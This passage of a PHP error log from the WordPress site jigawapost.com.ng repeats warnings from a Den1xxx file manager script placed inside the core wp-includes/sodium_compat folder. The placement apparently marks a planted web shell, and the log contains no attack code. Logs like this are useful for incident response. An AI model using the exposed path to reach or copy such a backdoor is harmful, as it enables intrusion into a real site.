file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:35 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:13:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:13:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:13:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:13:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:13:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:13:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:58 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:13:58 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:13:58 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:13:58 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:13:58 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:13:58 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:13:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:01 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:14:01 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:14:01 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:14:01 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:14:01 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:14:02 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:14:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:04 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:14:04 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:14:04 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:14:04 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:14:04 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:14:04 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:14:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:14:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:14:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:14:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:14:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:14:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:14:10 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:11 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:14:11 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:14:11 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:14:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:14:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:14:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:14:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:48 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [30-Aug-2025 08:14:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:14:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 